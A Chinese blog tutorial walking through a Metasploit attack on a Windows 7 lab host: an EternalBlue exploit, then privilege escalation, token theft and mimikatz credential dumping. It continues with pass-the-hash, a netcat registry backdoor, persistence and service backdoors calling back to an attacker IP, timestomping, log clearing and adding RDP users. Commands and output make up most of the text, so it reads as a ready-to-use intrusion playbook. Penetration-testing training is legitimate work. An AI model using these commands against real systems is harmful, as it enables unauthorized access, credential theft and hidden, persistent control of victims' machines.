zoukankan      html  css  js  c++  java
  • msf渗透过程实例

    msf利用系统漏洞利用过程:

    过程概括:

    1、天镜、nessus、极光扫描器、nmap进行漏洞扫描,跟据漏扫结果去msf里面进行查找漏洞利用工具
    2、打开msf 通过search搜漏洞编号或漏洞名称
    3、搜到漏洞之后,用use 打开对应msf漏洞利用工具
    4、输入info查看工具相关说明,与攻击目标的系统版本是否匹配

    5、配置受害者ip set rhosts  /set rport set payload
    6、用show options 查看工具使用方法和已配置详情
    7、攻击run 或者exploit
    8、溢出成功后,如果对方主机是普通用户权限,那么我们用msf里面的getsystem提升权限或者调用exploit/windows/local/bypassuac进行提权(提权有窃取令牌、假冒令牌、操作系统漏洞、getsystem)
    9、当我们提权成功之后获取对方主机管理员用户帐号和密码(load mimikatz   wdigest)
    10、开启rdp&添加用户(run getgui -e #开启远程桌面   run getgui -u lltest2 -p 123456   #添加用户)

    实例:

    天境等系统扫描器进行漏洞扫描,根据漏扫结果去msf里面进行查找漏洞利用工具

    检测到某window7主机有ms17_010病毒

    打开msf

    root@dazhu:~# msfconsole
    
                                                      
    
         ,           ,
    
        /             
    
       ((__---,,,---__))
    
          (_) O O (_)_________

    通过search搜索漏洞编号或者漏洞名称:

    msf5 > search ms17_010

    搜到漏洞后,用use打开 msf漏洞利用工具

    2  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
    
    msf5 > use 2或/windows/smb/ms17_010_eternalblue
    
    

    输入info查看工具相关说明

    msf5 exploit(windows/smb/ms17_010_eternalblue) > info
    
     
    
           Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
    
         Module: exploit/windows/smb/ms17_010_eternalblue
    
       Platform: Windows
    
           Arch:
    
     Privileged: Yes
    
        License: Metasploit Framework License (BSD)
    
           Rank: Average
    
      Disclosed: 2017-03-14
    
     
    
    Provided by:
    
      Sean Dillon <sean.dillon@risksense.com>
    
      Dylan Davis <dylan.davis@risksense.com>
    
      Equation Group
    
      Shadow Brokers
    
      thelightcosine
    
     
    
    Available targets:
    
      Id  Name
    
      --  ----
    
      0   Windows 7 and Server 2008 R2 (x64) All Service Packs

    可以进一步根据我们攻击目标的系统版本号进行set target init

    配置受害者主机地址建立连接

    set rhosts/set rport /set payload

    msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.17.72
    
    rhosts => 192.168.17.72

    ps:虽然端口一般默认,但是实际生产中端口会被运维人员改动隐藏。
    1.不确定端口时,查看端口方式:url有显示

    2.telent端口与看是否返回对应敏感信息

    查到后,set rport 端口号进行测试

    show options查看工具使用方法,主要是查看配置方法

    msf5 exploit(windows/smb/ms17_010_eternalblue) > show options
    
    Module options (exploit/windows/smb/ms17_010_eternalblue):
    
       Name           Current Setting  Required  Description
    
       ----           ---------------  --------  -----------
    
       RHOSTS         192.168.17.72    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
    
       RPORT          445              yes       The target port (TCP)
    
       SMBDomain      .                no        (Optional) The Windows domain to use for authentication
    
       SMBPass                         no        (Optional) The password for the specified username
    
       SMBUser                         no        (Optional) The username to authenticate as
    
       VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
    
       VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.
    
    Payload options (windows/x64/meterpreter/reverse_tcp):
    
       Name      Current Setting  Required  Description
    
       ----      ---------------  --------  -----------
    
       EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
    
       LHOST     192.168.17.74    yes       The listen address (an interface may be specified)
    
       LPORT     4444             yes       The listen port
    
    Exploit target:
    
       Id  Name
    
       --  ----
    
       0   Windows 7 and Server 2008 R2 (x64) All Service Packs(适用于windows7)

    因为自动设置了木马程序,所以这里不再设置:set payload .......(这里建议使用反向链接木马,也就是自动给我们匹配的reverse_tcp),毕竟没有那个目标主机说是不开防火墙等着我们去攻击的事吧!

    开始进行攻击:

    msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit或者run
    
     
    
    [*] Started reverse TCP handler on 192.168.17.74:4444
    
    [*] 192.168.17.72:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
    
    [+] 192.168.17.72:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)
    
    [!] 192.168.17.72:445     - Host is likely INFECTED with DoublePulsar! - Arch: x64 (64-bit), XOR Key: 0x6C2BD0E0
    
    [*] 192.168.17.72:445     - Scanned 1 of 1 hosts (100% complete)
    
    [*] 192.168.17.72:445 - Connecting to target for exploitation.

    进入远程控制会话行,后渗透过程:

    meterpreter > shell(后渗透之meterpreter可以支持多个命令,参考https://xz.aliyun.com/t/2536#toc-11)
    
    Process 4496 created.
    
    Channel 1 created.
    
    Microsoft Windows [�汾 6.1.7601]
    
    ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
    
    
    C:Windowssystem32>netsat an进入了受害主机Windows7命令行

    后渗透过程之:meterpreter

    Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力!

    系统命令

    基本系统命令

    sessions    #sessions –h 查看帮助
    sessions -i <ID值>  #进入会话   -k  杀死会话
    background  #将当前会话放置后台
    run  #执行已有的模块,输入run后按两下tab,列出已有的脚本
    info #查看已有模块信息
    getuid # 查看权限 
    getpid # 获取当前进程的pid
    sysinfo # 查看目标机系统信息
    ps # 查看当前活跃进程    kill <PID值> 杀死进程
    idletime #查看目标机闲置时间
    reboot / shutdown   #重启/关机
    shell #进入目标机cmd shell

    例如:

    查看进程:ps

    meterpreter > ps
    
    Process List
    ============
    
     PID   PPID  Name                   Arch  Session  User                          Path
     ---   ----  ----                   ----  -------  ----                          ----
     0     0     [System Process]                                                    
     4     0     System                 x64   0                                      
     268   4     smss.exe               x64   0        NT AUTHORITYSYSTEM           SystemRootSystem32smss.exe
     356   348   csrss.exe              x64   0        NT AUTHORITYSYSTEM           C:Windowssystem32csrss.exe
     372   512   svchost.exe            x64   0        NT AUTHORITYLOCAL SERVI

    获取目标主机的cmd shell

    shell命令可以进入目标主机的cmd

    命令:

    1. shell 
    2. meterpreter > shell
      Process 9196 created.
      Channel 2 created.
      Microsoft Windows [�汾 6.1.7601]
      ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
      
      C:Windowssystem32>

    execute执行文件

    execute #在目标机中执行文件
    execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

    timestomp伪造时间戳

    timestomp C:// -h   #查看帮助
    timestomp -v C://2.txt   #查看时间戳
    timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt

    其他系统命令

    uictl开关键盘/鼠标
    webcam摄像头命令
    migrate进程迁移
    clearav清除日志

    提权

    (提升当前用户的权限,Windows系统中最高权限为system。且只用system权限才能直接读取其他用户的用户名和密码)

    getuid获得当前用户的权限信息

    getuid

    刚远程登陆,默认获取当前用户权限

    meterpreter > getuid                                                                                                                                                                                                     
    Server username: NT AUTHORITYSYSTEM    

    getsystem提权

    getsystem工作原理:
    ①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
    ②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
    ③Windows服务已启动,导致与命名管道建立连接。
    ④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
    然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。

    meterpreter > getsystem                                                                                                                                                                                                  
    ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

    meterpreter > getuid 
    Server username: NT AUTHORITYSYSTEM

    
    

    bypassuac

    内置多个pypassuac脚本,原理有所不同,使用方法类似(相当于执行现在系统内的bypassuac脚本获得权限),运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:

    meterpreter > background
    [*] Backgrounding session 4...
    msf5 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/local/bypassuac
    [*] Using configured payload windows/meterpreter/reverse_tcp
    msf5 exploit(windows/local/bypassuac) > sessions -i
    
    Active sessions
    ===============
    
      Id  Name  Type                     Information                     Connection
      --  ----  ----                     -----------                     ----------
      2         meterpreter x64/windows  NT AUTHORITYSYSTEM @ DAZHU-PC  192.168.17.74:4444 -> 192.168.17.72:3365 (192.168.17.72)
      3         meterpreter x64/windows  NT AUTHORITYSYSTEM @ DAZHU-PC  192.168.17.74:4444 -> 192.168.17.72:4646 (192.168.17.72)
      4         meterpreter x64/windows  NT AUTHORITYSYSTEM @ DAZHU-PC  192.168.17.74:4444 -> 192.168.17.72:4886 (192.168.17.72)
    
    msf5 exploit(windows/local/bypassuac) > set sessions 2
    sessions => 2
    msf5 exploit(windows/local/bypassuac) > run
    
    [-] Exploit failed: One or more options failed to validate: SESSION.(因为已经是最高权限,所以提权失败。)
    [*] Exploit completed, but no session was created.
    msf5 exploit(windows/local/bypassuac) > 

    内核漏洞提权

    可先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权

    meterpreter > run post/windows/gather/enum_patches  #查看补丁信息
    msf > use exploit/windows/local/ms13_053_schlamperei
    msf > set SESSION 2
    msf > exploit

    返回后台运行会话

    msf5 exploit(windows/local/bypassuac) > back
    msf5 > sessions -i 2
    [*] Starting interaction with 2...
    
    meterpreter > 

    令牌操作

    incognito假冒令牌

    use incognito      #help incognito  查看帮助
    list_tokens -u    #查看可用的token
    impersonate_token 'NT AUTHORITYSYSTEM'  #假冒SYSTEM token
    或者impersonate_token NT AUTHORITY\SYSTEM #不加单引号 需使用\
    execute -f cmd.exe -i –t    # -t 使用假冒的token 执行
    或者直接shell
    rev2self   #返回原始token

    steal_token窃取令牌

    steal_token <pid值>   #从指定进程中窃取token   先ps
    drop_token  #删除窃取的token

    mimikatz抓取密码

    获取密码后可能被用来在其他系统或者网站使用

    load mimikatz    #help mimikatz 查看帮助
    wdigest  #获取Wdigest密码
    mimikatz_command -f samdump::hashes  #执行mimikatz原始命令  直接读取哈希值
    mimikatz_command -f sekurlsa::searchPasswords
    meterpreter > load mimikatz
    Loading extension mimikatz...[!] Loaded Mimikatz on a newer OS (Windows 7 (6.1 Build 7601, Service Pack 1).). Did you mean to 'load kiwi' instead?
    Success.
    meterpreter > wdigest
    [+] Running as SYSTEM
    [*] Retrieving wdigest credentials
    wdigest credentials
    ===================
    
    AuthID    Package    Domain        User           Password
    ------    -------    ------        ----           --------
    0;951153  NTLM       dazhu-PC      Administrator  
    0;997     Negotiate  NT AUTHORITY  LOCAL SERVICE  
    0;996     Negotiate  WORKGROUP     DAZHU-PC$      
    0;50607   NTLM                                    
    0;999     NTLM       WORKGROUP     DAZHU-PC$      
    0;103061  NTLM       dazhu-PC      vscan_tj       vsacn_tj_1602719439_ll
    
    meterpreter > 

    工具破解

    ophcrack破解哈希值

    挂载字典

    导入文件

    哈希利用

    获取哈希

    run post/windows/gather/smart_hashdump  #从SAM导出密码哈希
    #需要SYSTEM权限

    PSExec哈希传递

    通过smart_hashdump获取用户哈希后,可以利用psexec模块进行哈希传递攻击
    前提条件:①开启445端口 smb服务;②开启admin$共享

    msf > use exploit/windows/smb/psexec(使用psexec溢出攻击方式)
    msf > set payload windows/meterpreter/reverse_tcp(设置reverse_tcp木马)
    msf > set LHOST 192.168.159.134
    msf > set LPORT 443
    msf > set RHOSTS 192.168.159.144建立连接
    msf >set SMBUser Administrator
    msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
    msf >set SMBDomain  WORKGROUP   #域用户需要设置SMBDomain
    msf >exploit

    文件系统命令

    基本文件系统命令

    命令1.上传文件到受害者主机

    简单来说,你可以上传本机的任意文件到远程目标主机中。

    命令:

    1. upload <file> <destination> 

    注意:使用-r参数可以递归上传上传目录和文件

     

    meterpreter > upload //mnt//PcShare2.exe c:\pcshare2.exe(上传)
    [*] uploading  : //mnt//PcShare2.exe -> c:pcshare2.exe
    [*] Uploaded 34.50 KiB of 34.50 KiB (100.0%): //mnt//PcShare2.exe -> c:pcshare2.exe
    [*] uploaded   : //mnt//PcShare2.exe -> c:pcshare2.exe

     

    命令2.从windows主机下载文件

    download命令可以下载远程主机上的文件

    命令:

    1. download <file> <path to save> 

    注意:Windows路径要使用双斜线

    如果我们需要递归下载整个目录包括子目录和文件,我们可以使用download -r命令

     

    格式与upload相同,文件路径先后相反

     

    命令3:在目标主机上执行exe文件

    我们也可以使用execute命令在目标主机上执行应用程序

    语法也非常简单

    命令:

    1. execute -f <path> [options] (-f代表强制执行)
    2. meterpreter > execute -f c:\pcshare2.exe(执行远程桌面控制代码)
      Process 9024 created.

     

     

    正确写法是:   execute -f c://1.exe

     可以看都受害者主机已经被神不知鬼不觉地远程控制

    命令4(执行(创建)新的cmd通道)

    如果你想在目标主机上执行命令提示符,你可以使用下列命令:

    命令:

    1. shell(之前已经演示过)
    2. execute -f cmd -c (打开一个新的cmd通道)
    3. meterpreter > execute -f cmd -c
      Process 9080 created.
      Channel 1 created.
      meterpreter > 

    开启rdp&添加用户

    getgui命令

    run getgui –h #查看帮助
    run getgui -e #开启远程桌面
    run getgui -u lltest2 -p 123456   #添加用户
    run getgui -f 6661 –e   #3389端口转发到6661

    getgui 系统不推荐,推荐使用run post/windows/manage/enable_rdp
    getgui添加用户时,有时虽然可以成功添加用户,但是没有权限通过远程桌面登陆

    enable_rdp脚本

    run post/windows/manage/enable_rdp  #开启远程桌面
    run post/windows/manage/enable_rdp USERNAME=haha PASSWORD=123456 #添加用户
    run post/windows/manage/enable_rdp FORWARD=true LPORT=6662  #将3389端口转发到6662

    脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
    通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令

    sniffer抓包

    use sniffer
    sniffer_interfaces   #查看网卡
    sniffer_start 2   #选择网卡 开始抓包
    sniffer_stats 2   #查看状态
    sniffer_dump 2 /tmp/lltest.pcap  #导出pcap数据包
    sniffer_stop 2   #停止抓包

    注册表操作

    注册表基本命令

    reg –h
        -d   注册表中值的数据.    -k   注册表键路径    -v   注册表键名称
        enumkey 枚举可获得的键    setval 设置键值    queryval 查询键值数据

    注册表设置nc后门

    upload /usr/share/windows-binaries/nc.exe C:\windows\system32 #上传nc
    reg enumkey -k HKLM\software\microsoft\windows\currentversion\run   #枚举run下的key
    reg setval -k HKLM\software\microsoft\windows\currentversion\run -v lltest_nc -d 'C:windowssystem32
    c.exe -Ldp 443 -e cmd.exe' #设置键值
    reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v lltest_nc   #查看键值
    
    nc -v 192.168.159.144 443  #攻击者连接nc后门

    后门植入

    metasploit自带的后门有两种方式启动的,一种是通过启动项启动(persistence),一种是通过服务启动(metsvc),另外还可以通过persistence_exe自定义后门文件。

    persistence启动项后门

    在C:Users***AppDataLocalTemp目录下,上传一个vbs脚本
    在注册表HKLMSoftwareMicrosoftWindowsCurrentVersionRun加入开机启动项

    run persistence –h  #查看帮助
    run persistence -X -i 5 -p 6661 -r 192.168.159.134
    #-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip

    连接后门

    msf > use exploit/multi/handler
    msf > set payload windows/meterpreter/reverse_tcp
    msf > set LHOST 192.168.159.134
    msf > set LPORT 6661
    msf > exploit

    metsvc服务后门

    在C:Users***AppDataLocalTemp上传了三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为meterpreter

    run metsvc –h   # 查看帮助
    run metsvc –A   #自动安装后门

    连接后门

    msf > use exploit/multi/handler
    msf > set payload windows/metsvc_bind_tcp
    msf > set RHOST 192.168.159.144
    msf > set LPORT 31337
    msf > exploit

    扫描脚本

    扫描的脚本位于:
    /usr/share/metasploit-framework/modules/auxiliary/scanner/
    扫描的脚本较多,仅列几个代表:

    use auxiliary/scanner/http/dir_scanner
    use auxiliary/scanner/http/jboss_vulnscan
    use auxiliary/scanner/mssql/mssql_login
    use auxiliary/scanner/mysql/mysql_version
    use auxiliary/scanner/oracle/oracle_login

    远程桌面&截屏

    enumdesktops  #查看可用的桌面
    getdesktop    #获取当前meterpreter 关联的桌面
    set_desktop   #设置meterpreter关联的桌面  -h查看帮助
    screenshot  #截屏
    use espia  #或者使用espia模块截屏  然后输入screengrab
    run vnc  #使用vnc远程桌面连
    meterpreter > getdesktop
    Session 0WD
    meterpreter > screenshot
    Screenshot saved to: /root/yllvlUli.jpeg
    meterpreter > run vnc
    [*] Creating a VNC reverse tcp stager: LHOST=192.168.17.74 LPORT=4545
    [*] Running payload handler
    [*] VNC stager executable 73802 bytes long
    [*] Uploaded the VNC agent to C:WindowsTEMPRwwuHn.exe (must be deleted m
    [*] Executing the VNC agent with endpoint 192.168.17.74:4545...
    meterpreter > Connected to RFB server, using protocol version 3.8

    参考:

    https://xz.aliyun.com/t/2536#toc-6
    https://null-byte.wonderhowto.com/how-to/hack-like-pro-ultimate-command-cheat-sheet-for-metasploits-meterpreter-0149146/
    https://thehacktoday.com/metasploit-commands/
    https://www.offensive-security.com/metasploit-unleashed/fun-incognito/
    https://www.offensive-security.com/metasploit-unleashed/persistent-netcat-backdoor/
    https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/
    http://www.hackingarticles.in/7-ways-to-privilege-escalation-of-windows-7-pc-bypass-uac/
    https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/
    http://wooyun.jozxing.cc/static/drops/tips-2227.html

  • 相关阅读:
    appium 多线程还是多进程(转)
    清理不可用的模拟器
    ios-元素查看器安装
    Linux 一条命令杀死占用端口的所有进程
    appium 小程序自动化测试
    (转)MitmProxy+APPnium安装使用
    mysql死锁分析
    母线故障跳闸的处理方法(转载)
    电动葫芦使用注意事项(转载)
    三菱plc输出指示灯不亮怎么办(转载)
  • 原文地址:https://www.cnblogs.com/dazhu-secure/p/13849012.html
Copyright © 2011-2022 走看看